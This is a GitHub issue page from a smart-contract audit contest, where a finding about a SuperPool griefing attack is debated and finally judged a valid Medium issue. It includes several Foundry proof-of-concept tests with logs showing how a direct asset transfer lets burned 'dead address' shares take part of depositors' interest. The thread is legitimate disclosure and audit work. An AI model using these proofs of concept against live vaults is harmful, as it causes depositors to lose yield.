-
Notifications
You must be signed in to change notification settings - Fork 2
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
0xarno - Attacker Can Manipulate Interest Distribution by Exploiting Asset Transfers and Fee Accrual Mechanism #541
Comments
1 comment(s) were left on this issue during the judging contest. z3s commented:
|
escalate |
You've created a valid escalation! To remove the escalation from consideration: Delete your comment. You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final. |
The judge's comment is wrong; the admin has nothing to do with it. |
This attack makes no sense. Who would send significant funds to a dead address just to increase the interest rate? Planning to reject the escalation and leave the issue as is. |
@cvetanovv |
|
@ARNO-0 I misunderstood the issue. This "dead address" does not accumulate any interest. Run the next two PoC tests: // SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";
contract SuperPoolUnitTests is BaseTest {
uint256 initialDepositAmt = 1000;
Pool pool;
Registry registry;
SuperPool superPool;
RiskEngine riskEngine;
SuperPoolFactory superPoolFactory;
address user_1 = makeAddr("User_1");
address attacker = makeAddr("Attacker");
address public feeTo = makeAddr("FeeTo");
function setUp() public override {
super.setUp();
pool = protocol.pool();
registry = protocol.registry();
riskEngine = protocol.riskEngine();
superPoolFactory = protocol.superPoolFactory();
FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
vm.prank(protocolOwner);
riskEngine.setOracle(address(asset1), address(asset1Oracle));
}
function test_interest_manipulation_WITH_BUG() public {
address feeRecipient = makeAddr("FeeRecipient");
vm.prank(protocolOwner);
asset1.mint(address(this), initialDepositAmt);
asset1.approve(address(superPoolFactory), initialDepositAmt);
address deployed = superPoolFactory.deploySuperPool(
poolOwner,
address(asset1),
feeRecipient,
1e17,
type(uint256).max,
initialDepositAmt,
"test",
"test"
);
superPool = SuperPool(deployed);
console2.log(
"DEAD ADDRES START: ",
superPool.balanceOf(0x000000000000000000000000000000000000dEaD)
);
/*//////////////////////////////////////////////////////////////
ATTACKER SENDING FUNDS TO SUPERPOOL
//////////////////////////////////////////////////////////////*/
vm.startPrank(attacker);
asset1.mint(attacker, 1e18);
asset1.transfer(address(superPool), 1e18);
vm.stopPrank();
/*//////////////////////////////////////////////////////////////
user_1 DEPOSITNG TO SUPERPOOL
//////////////////////////////////////////////////////////////*/
vm.startPrank(user_1);
asset1.mint(user_1, 1e18);
asset1.approve(address(superPool), type(uint256).max);
superPool.deposit(1e18, user_1);
vm.stopPrank();
console2.log(
"SuperPool(SHARES) Balance of User1: ",
superPool.balanceOf(user_1)
);
console2.log(
"SuperPool(SHARES) Balance of FeeRecipient: ",
superPool.balanceOf(feeRecipient)
);
/*//////////////////////////////////////////////////////////////
NOW SUPERPOOL ACCUMATES INTEREST
//////////////////////////////////////////////////////////////*/
asset1.mint(address(superPool), 0.5e18);
superPool.accrue();
uint SHARES_OF_DEAD_ADDRESS = superPool.balanceOf(0x000000000000000000000000000000000000dEaD);
console2.log(
"SuperPool(SHARES) Balance of FeeRecipient: ",
superPool.balanceOf(feeRecipient)
);
console2.log(
" assest1 balance of superpool: ",
asset1.balanceOf(address(superPool))
);
console2.log("SuperPool(SHARES) Total Supply: ", superPool.totalSupply());
console2.log("Preview Mint for User1: ", superPool.previewMint(1111));
console2.log(
"Preview Mint for FeeRecipient: ",
superPool.previewMint(156)
);
console2.log("Preview Mint for dead: ", superPool.previewMint(1000));
// assert that the preview mint for dead is greater than the 40% of the total supply of superpool asset1
console2.log(
"DEAD ADDRESS END: ",
superPool.balanceOf(0x000000000000000000000000000000000000dEaD)
);
assert(
superPool.previewMint(SHARES_OF_DEAD_ADDRESS) >
(superPool.totalSupply() * 0.4e18) / 1e18
);
}
} You can see that at the beginning and the end this address has the same value. Logs:
DEAD ADDRES START: 1000
SuperPool(SHARES) Balance of User1: 1111
SuperPool(SHARES) Balance of FeeRecipient: 111
SuperPool(SHARES) Balance of FeeRecipient: 156
assest1 balance of superpool: 2500000000000001000
SuperPool(SHARES) Total Supply: 2267
Preview Mint for User1: 1224647266313933471
Preview Mint for FeeRecipient: 171957671957672027
Preview Mint for dead: 1102292768959436068
DEAD ADDRESS END: 1000 In the next PoC test, I moved // SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";
contract SuperPoolUnitTests is BaseTest {
uint256 initialDepositAmt = 1000;
Pool pool;
Registry registry;
SuperPool superPool;
RiskEngine riskEngine;
SuperPoolFactory superPoolFactory;
address user_1 = makeAddr("User_1");
address attacker = makeAddr("Attacker");
address public feeTo = makeAddr("FeeTo");
function setUp() public override {
super.setUp();
pool = protocol.pool();
registry = protocol.registry();
riskEngine = protocol.riskEngine();
superPoolFactory = protocol.superPoolFactory();
FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
vm.prank(protocolOwner);
riskEngine.setOracle(address(asset1), address(asset1Oracle));
}
function test_interest_manipulation_WITH_BUG() public {
address feeRecipient = makeAddr("FeeRecipient");
vm.prank(protocolOwner);
asset1.mint(address(this), initialDepositAmt);
asset1.approve(address(superPoolFactory), initialDepositAmt);
address deployed = superPoolFactory.deploySuperPool(
poolOwner,
address(asset1),
feeRecipient,
1e17,
type(uint256).max,
initialDepositAmt,
"test",
"test"
);
superPool = SuperPool(deployed);
// console2.log(
// "DEAD ADDRES START: ",
// superPool.balanceOf(0x000000000000000000000000000000000000dEaD)
// );
/*//////////////////////////////////////////////////////////////
ATTACKER SENDING FUNDS TO SUPERPOOL
//////////////////////////////////////////////////////////////*/
uint SHARES_OF_DEAD_ADDRESS = superPool.balanceOf(0x000000000000000000000000000000000000dEaD);
vm.startPrank(attacker);
asset1.mint(attacker, 1e18);
asset1.transfer(address(superPool), 1e18);
vm.stopPrank();
/*//////////////////////////////////////////////////////////////
user_1 DEPOSITNG TO SUPERPOOL
//////////////////////////////////////////////////////////////*/
vm.startPrank(user_1);
asset1.mint(user_1, 1e18);
asset1.approve(address(superPool), type(uint256).max);
superPool.deposit(1e18, user_1);
vm.stopPrank();
console2.log(
"SuperPool(SHARES) Balance of User1: ",
superPool.balanceOf(user_1)
);
console2.log(
"SuperPool(SHARES) Balance of FeeRecipient: ",
superPool.balanceOf(feeRecipient)
);
/*//////////////////////////////////////////////////////////////
NOW SUPERPOOL ACCUMATES INTEREST
//////////////////////////////////////////////////////////////*/
asset1.mint(address(superPool), 0.5e18);
superPool.accrue();
console2.log(
"SuperPool(SHARES) Balance of FeeRecipient: ",
superPool.balanceOf(feeRecipient)
);
console2.log(
" assest1 balance of superpool: ",
asset1.balanceOf(address(superPool))
);
console2.log("SuperPool(SHARES) Total Supply: ", superPool.totalSupply());
console2.log("Preview Mint for User1: ", superPool.previewMint(1111));
console2.log(
"Preview Mint for FeeRecipient: ",
superPool.previewMint(156)
);
console2.log("Preview Mint for dead: ", superPool.previewMint(1000));
// assert that the preview mint for dead is greater than the 40% of the total supply of superpool asset1
// console2.log(
// "DEAD ADDRESS END: ",
// superPool.balanceOf(0x000000000000000000000000000000000000dEaD)
// );
assert(
superPool.previewMint(SHARES_OF_DEAD_ADDRESS) >
(superPool.totalSupply() * 0.4e18) / 1e18
);
}
} Logs:
SuperPool(SHARES) Balance of User1: 1111
SuperPool(SHARES) Balance of FeeRecipient: 111
SuperPool(SHARES) Balance of FeeRecipient: 156
assest1 balance of superpool: 2500000000000001000
SuperPool(SHARES) Total Supply: 2267
Preview Mint for User1: 1224647266313933471
Preview Mint for FeeRecipient: 171957671957672027
Preview Mint for dead: 1102292768959436068 My decision to reject the escalation remains. |
@cvetanovv
function accrue() public {
(uint256 feeShares, uint256 newTotalAssets) = simulateAccrue();
if (feeShares != 0) ERC20._mint(feeRecipient, feeShares);
lastTotalAssets = newTotalAssets;
} This is crucial since it represents the assets deposited by users and the interest accumulated. Also, some percentage of the interest is taken as a fee, and then new shares are minted to the function simulateAccrue() internal view returns (uint256, uint256) {
uint256 newTotalAssets = totalAssets();
uint256 interestAccrued = (newTotalAssets > lastTotalAssets) ? newTotalAssets - lastTotalAssets : 0;
if (interestAccrued == 0 || fee == 0) return (0, newTotalAssets);
uint256 feeAssets = interestAccrued.mulDiv(fee, WAD);
// newTotalAssets already includes feeAssets
uint256 feeShares = _convertToShares(feeAssets, newTotalAssets - feeAssets, totalSupply(), Math.Rounding.Down);
return (feeShares, newTotalAssets);
} The line
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";
contract SuperPoolUnitTests is BaseTest {
uint256 initialDepositAmt = 1e5;
Pool pool;
Registry registry;
SuperPool superPool;
RiskEngine riskEngine;
SuperPoolFactory superPoolFactory;
address user_1 = makeAddr("User_1");
address attacker = makeAddr("Attacker");
address public feeTo = makeAddr("FeeTo");
function setUp() public override {
super.setUp();
pool = protocol.pool();
registry = protocol.registry();
riskEngine = protocol.riskEngine();
superPoolFactory = protocol.superPoolFactory();
FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
vm.prank(protocolOwner);
riskEngine.setOracle(address(asset1), address(asset1Oracle));
}
function test_interest_manipulation_WITH_BUG_2() public {
address feeRecipient = makeAddr("FeeRecipient");
vm.prank(protocolOwner);
asset1.mint(address(this), initialDepositAmt);
asset1.approve(address(superPoolFactory), initialDepositAmt);
address deployed = superPoolFactory.deploySuperPool(
poolOwner,
address(asset1),
feeRecipient,
1e17,
type(uint256).max,
initialDepositAmt,
"test",
"test"
);
superPool = SuperPool(deployed);
/*//////////////////////////////////////////////////////////////
user_1 DEPOSITNG TO SUPERPOOL
//////////////////////////////////////////////////////////////*/
vm.startPrank(user_1);
asset1.mint(user_1, 1e18);
asset1.approve(address(superPool), type(uint256).max);
superPool.deposit(1e18, user_1);
vm.stopPrank();
console2.log(
"SuperPool(SHARES) Balance of User1 after depositing 1e18: ",
superPool.balanceOf(user_1)
);
console2.log(
"SuperPool(SHARES) Balance of FeeRecipient: ",
superPool.balanceOf(feeRecipient)
);
/*//////////////////////////////////////////////////////////////
NOW SUPERPOOL ACCUMATES INTEREST
//////////////////////////////////////////////////////////////*/
asset1.mint(address(superPool), 10e18); // can be 0.5e18 as well as in report poc
superPool.accrue();
uint SHARES_OF_DEAD_ADDRESS = superPool.balanceOf(
0x000000000000000000000000000000000000dEaD
);
console2.log(
"SuperPool(SHARES) Balance of FeeRecipient after interest accumulates: ",
superPool.balanceOf(feeRecipient)
);
console2.log(
"Assest balance of superpool after interest accumulates: ",
asset1.balanceOf(address(superPool))
);
console2.log(
"SuperPool(SHARES) Total Supply after interest accumulates: ",
superPool.totalSupply()
);
console2.log(
"Preview Redeem for User1: ",
superPool.previewRedeem(superPool.balanceOf(user_1))
);
console2.log(
"Preview Redeem for FeeRecipient: ",
superPool.previewRedeem(superPool.balanceOf(feeRecipient))
);
console2.log(
"Preview Redeem for dead: ",
superPool.previewRedeem(SHARES_OF_DEAD_ADDRESS)
);
//
console2.log("totalAssets() : ", superPool.totalAssets());
console2.log(
"% of total assest the dead shares can claim: ",
(superPool.previewRedeem(SHARES_OF_DEAD_ADDRESS) * 1e18) /
superPool.totalAssets()
);
console2.log(
"% of total assest the user1 and feeRecipient shares can claim: ",
((superPool.previewRedeem(superPool.balanceOf(user_1)) +
superPool.previewRedeem(superPool.balanceOf(feeRecipient))) *
1e18) / superPool.totalAssets()
);
// claimable interest is greater than 99% of the total assets
assert(
superPool.previewRedeem(superPool.balanceOf(user_1)) +
superPool.previewRedeem(superPool.balanceOf(feeRecipient)) >
(superPool.totalAssets() * 0.99e18) / 1e18
);
}
}
Logs:
SuperPool(SHARES) Balance of User1 after depositing 1e18: 1000000000000000000
SuperPool(SHARES) Balance of FeeRecipient: 0
SuperPool(SHARES) Balance of FeeRecipient after interest accumulates: 100000000000009000
Assest balance of superpool after interest accumulates: 11000000000000100000
SuperPool(SHARES) Total Supply after interest accumulates: 1100000000000109000
Preview Redeem for User1: 9999999999999099991
Preview Redeem for FeeRecipient: 999999999999999999
Preview Redeem for dead: 999999
totalAssets() : 11000000000000100000
% of total assest the dead shares can claim: 90908
% of total assest the user1 and feeRecipient shares can claim: 999999999999909090
|
Here is the corrected PoC. I changed
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";
contract SuperPoolUnitTests is BaseTest {
uint256 initialDepositAmt = 1e5;
Pool pool;
Registry registry;
SuperPool superPool;
RiskEngine riskEngine;
SuperPoolFactory superPoolFactory;
address user_1 = makeAddr("User_1");
address attacker = makeAddr("Attacker");
address public feeTo = makeAddr("FeeTo");
function setUp() public override {
super.setUp();
pool = protocol.pool();
registry = protocol.registry();
riskEngine = protocol.riskEngine();
superPoolFactory = protocol.superPoolFactory();
FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
vm.prank(protocolOwner);
riskEngine.setOracle(address(asset1), address(asset1Oracle));
}
function test_interest_manipulation_WITH_BUG_1() public {
address feeRecipient = makeAddr("FeeRecipient");
vm.prank(protocolOwner);
asset1.mint(address(this), initialDepositAmt);
asset1.approve(address(superPoolFactory), initialDepositAmt);
address deployed = superPoolFactory.deploySuperPool(
poolOwner,
address(asset1),
feeRecipient,
1e17,
type(uint256).max,
initialDepositAmt,
"test",
"test"
);
superPool = SuperPool(deployed);
/*//////////////////////////////////////////////////////////////
ATTACKER SENDING FUNDS TO SUPERPOOL
//////////////////////////////////////////////////////////////*/
vm.startPrank(attacker);
asset1.mint(attacker, 1e18);
asset1.transfer(address(superPool), 1e18);
vm.stopPrank();
/*//////////////////////////////////////////////////////////////
user_1 DEPOSITNG TO SUPERPOOL
//////////////////////////////////////////////////////////////*/
vm.startPrank(user_1);
asset1.mint(user_1, 1e18);
asset1.approve(address(superPool), type(uint256).max);
superPool.deposit(1e18, user_1);
vm.stopPrank();
console2.log(
"SuperPool(SHARES) Balance of User1 after depositing: ",
superPool.balanceOf(user_1)
);
console2.log(
"SuperPool(SHARES) Balance of FeeRecipient before: ",
superPool.balanceOf(feeRecipient)
);
/*//////////////////////////////////////////////////////////////
NOW SUPERPOOL ACCUMATES INTEREST
//////////////////////////////////////////////////////////////*/
asset1.mint(address(superPool), 10e18);
superPool.accrue();
uint SHARES_OF_DEAD_ADDRESS = superPool.balanceOf(
0x000000000000000000000000000000000000dEaD
);
console2.log(
"SuperPool(SHARES) Balance of FeeRecipient after interest accumulates: ",
superPool.balanceOf(feeRecipient)
);
console2.log(
"Assest balance of superpool: ",
asset1.balanceOf(address(superPool))
);
console2.log(
"SuperPool(SHARES) Total Supply: ",
superPool.totalSupply()
);
console2.log(
"Preview Redeem for User1: ",
superPool.previewRedeem(superPool.balanceOf(user_1))
);
console2.log(
"Preview Redeem for FeeRecipient: ",
superPool.previewRedeem(superPool.balanceOf(feeRecipient))
);
console2.log(
"Preview Redeem for dead: ",
superPool.previewRedeem(SHARES_OF_DEAD_ADDRESS)
);
console2.log("Total Assets: ", superPool.totalAssets());
console2.log(
"% of total assest the dead shares can claim: ",
(superPool.previewRedeem(SHARES_OF_DEAD_ADDRESS) * 1e18) /
superPool.totalAssets()
);
console2.log(
"% of total assest the user1 and feeRecipient shares can claim: ",
((superPool.previewRedeem(superPool.balanceOf(user_1)) +
superPool.previewRedeem(superPool.balanceOf(feeRecipient))) *
1e18) / superPool.totalAssets()
);
assert(
superPool.previewRedeem(superPool.balanceOf(user_1)) +
superPool.previewRedeem(superPool.balanceOf(feeRecipient)) <
(superPool.totalAssets() * 0.6e18) / 1e18
);
}
} Logs:
SuperPool(SHARES) Balance of User1 after depositing: 111111
SuperPool(SHARES) Balance of FeeRecipient before: 11111
SuperPool(SHARES) Balance of FeeRecipient after interest accumulates: 31313
Assest balance of superpool: 12000000000000100000
SuperPool(SHARES) Total Supply: 242424
Preview Redeem for User1: 5499977312570944049
Preview Redeem for FeeRecipient: 1549988656285462024
Preview Redeem for dead: 4949984531298380942
Total Assets: 12000000000000100000
% of total assest the dead shares can claim: 412498710941528307
% of total assest the user1 and feeRecipient shares can claim: 587497164071362276 |
@ARNO-0 Thanks for the explanation. Now I fully understand what you meant in the issue. At first, I understood the issue differently. I run the PoC, and everything works. Indeed, this attack will reduce the future profits of users because the "dead address" will accumulate a portion of the profit. However, I think this issue is valid Medium(not High) because the malicious user will hurt the future profit of honest users but not profit anything from the attack. Even if he deposits later(obviously, he won't), he will be the victim, too. If users are not satisfied with the profit, they can not invest in the pool. I am planning to accept the escalation and make this issue a valid Medium. |
@cvetanovv, thank you for listening to the details, sir. I would have agreed with a medium severity rating if it was just one pool affected. However, in this case, every newly deployed pool will face losses, which will accumulate into a larger loss of funds. As you mentioned, users can choose whether to invest or not, but by then, the damage would already be done. I believe this should be considered high severity for three reasons:
|
@ARNO-0 I agree with you that although the malicious user suffers little loss, he can make the attack on any pool without having an external condition. I am planning to accept the escalation and make this issue a valid High. |
Hey @cvetanovv , I think this issue is invalid. It's like saying that an attacker can mint shares and let them accumulate yield indefinitely, which is completely fine since users choose which pools to invest in. If your concern is that an attacker could make it expensive for the deployer the first time they set up the pool by sending valuable shares to a dead address, that’s similar to what we discussed in #97. Regardless, if a user invests in a pool with 1,000 shares and he have 100 , they still receive 10% of the interest, no matter how many shares are in the dead address. To be honest, this isn't really an issue at all. Issue #97 explains the risks of sending direct funds to a newly deployed address, which can lead to DoS attacks or make creating new super pools too expensive. Also, if the owner decides to burn 1 million shares at deployment, those shares will still accumulate yield, so what's the actual problem? Users can just choose not to invest in pools they don’t want to. Sending shares to a dead address is a known mechanism to prevent inflation attacks, and it’s widely accepted that those shares will accumulate yield from the vault. The idea is that the yield is always negligible, since the shares are small, and if the attacker increases their share count by sending funds directly to the dead address, it aligns with the concerns raised in issue #97
|
@elhajin you don’t fully understand the issue, as most of the points you raised are not even relevant to this issue. Many of your points are about issue 97 .
|
I want to add that the fact that this can be done on many pools does not make it a High. The threshold for a High is 1% losses, having more pools vulnerable to this does not increase the percentage. It might increase the overall losses but not the percentage. Either way, this issue does not qualify for a Medium either, the points brought by @elhajin are completely valid, there is nothing wrong with the code as such an attack can be done on any pool in existence. |
Agree I didn't read the full issue .. now I'm convinced it's totally invalid
There is completely no issue here |
I agree with @samuraii77 and @elhajin. I was initially misled that it was valid because I thought the "SuperPool" worked differently compared to the ERC4626(because of the working PoC). If this issue is valid, it can be submitted to different bug bounty projects, and the submitter can take a lot of money. The design of reward distribution in SuperPools is based on shares, meaning users receive a proportion of rewards based on their share ownership. This is how most yield systems work, and thus, no unfair advantage is given to attackers or "dead addresses." Other users still receive their fair share of rewards based on their contribution to the pool. There is no loss to the users. My decision is to reject the escalation and leave the issue as is. |
@cvetanovv, the whole argument given by other auditors is invalid and manipulated in favor of the standard ERC4626. This implementation of ERC4626 differs from the standard. In the standard ERC4626, interest/yield accumulation depends on the amount a user contributes. However, in this implementation, interest is not dependent on the deposit but instead is accumulated based on borrowing actions—borrow and repay . You can verify this in the test written by the team:
|
I didn’t explain to them because they are not the judge and are making invalid arguments without fully understanding the issue. |
I see this issue as a duplicate of issues like #97 and #26 –– they all result from inflation attacks that arise from an attacker directly sending assets to the SuperPool, and share the same root cause of the SuperPool relying on ERC20.balanceOf instead of virtual shares. My suggestion would be to club all three groups of issues into one valid medium or low. I'll modify the SuperPool to track balances virtually to mitigate them. |
|
@ARNO-0 I still don't see an issue. What is the logic of someone depositing in a "dead address" instead of depositing for themselves and taking the profit? That makes no logic to me. You write:
It's a standard design, and I don't see anything wrong with it. If someone decides to deposit in a "dead address" instead of his address and accumulate interest, that's his choice. He loses future profit. My decision is to reject the escalation. |
@cvetanovv, I think you do not understand the issue. "I still don't see an issue. What is the logic of someone depositing in a 'dead address' instead of depositing for themselves and taking the profit? That makes no sense to me." "In this version, interest is generated when a user takes out a loan. For instance, if User A deposits 100 tokens into the SuperPool after its deployment, then User B can borrow 100 tokens from the underlying pool. When User B repays the loan with interest after some time, that interest is deposited into the SuperPool. As a result, User A benefits from this borrowing activity by User B, even though the interest was generated by borrowing and not by User A’s deposit." what is the point of the writing poc when you do not take that as proof? |
I've checked the PoC test and it works, however, I don't see the logic. The malicious user transfers the |
The attacker is of the griefing type that makes any normal depositor lose profit from interest, and the whole point of depositing in the superpool is to earn money for normal depositor. The attacker is not benefiting from this, but a major portion of the profit is lost because the dead address now owns a portion of the profit (due to the shares that were minted during contract deployment). The attacker sent assets directly to make the depositor of the SuperPool users lose profit. The reason why this is happening was explained in an earlier discussion. and how interest is accumulated i explained already with proof that it is based on borrowing activity of other users For the attack to succeed, the attacker must send assets before any user deposits into the pool. Otherwise, only the attacker will face the loss. |
If asked, I can provide a full PoC with interest generated by borrowing activity, which should be used as proof for my claims and will show how a normal user will loose portion of the profit( otherwise user would be able to claim 100% of the profit earned ( fee exculaded) in normal case without attack on the superpool). |
@cvetanovv I hope this clarifies why the attacker is not depositing I get the point that the attacker can just deposit and never claim to steal interest. But this deposit will not cause harm because, let's suppose, an attacker and a user deposit 2e18 (1e18 each), and someone borrows 2e18 in total and repays with 1e18 interest. This interest will be distributed equally. However, if the attacker exploits the SuperPool with a direct transfer (amount = 1e18, which won’t be available for borrowing/liquidity), and two users each deposit 1e18 into the SuperPool (their deposits are used as liquidity, and the liquidity available for borrowing is 2e18 even though the total assets in the SuperPool are 3e18 ; keep in mind that attacker's 1e18 wont be able to be claimed by 2 user), then after the borrowing and interest accumulates , dead shares will also own a portion of the interest. This should not happen. The user's earned profit is shared with the dead address, even though the dead address did not contribute to the liquidity. If that is not a valid issue, I don’t know what is. |
After discussing this issue, the decision is that it's valid. Why Medium?
|
Result: |
Escalations have been resolved successfully! Escalation status:
|
The protocol team fixed this issue in the following PRs/commits: |
0xarno
High
Attacker Can Manipulate Interest Distribution by Exploiting Asset Transfers and Fee Accrual Mechanism
Summary
Attacker can take advantage of the SuperPool's interest system. By depositing a large amount of assets before a regular user does, the attacker can make the "dead" address receive a lot more interest than it should. This unfairly benefits the dead address and disadvantages other users. The issue is caused by how the system calculates and gives out fees and interest.
Vulnerability Detail
The vulnerability arises from the fact that an attacker can send a significant amount of assets to the SuperPool before a deposit is made by a regular user. This results in a disproportionate amount of interest being allocated to shares owned by the dead address, which was included during the initialization of the SuperPool. The specific sequence of operations allows the dead address to accumulate a substantial amount of interest due to the way fee shares are calculated and allocated.
Impact
The primary impact is that the dead address can accumulate a large portion of the total interest accrued by the SuperPool, resulting in:
Code Snippet
LINK
Coded POC
Tool used
Manual Review
Recommendation
Limit Dead Address Shares during interest calculation
The text was updated successfully, but these errors were encountered: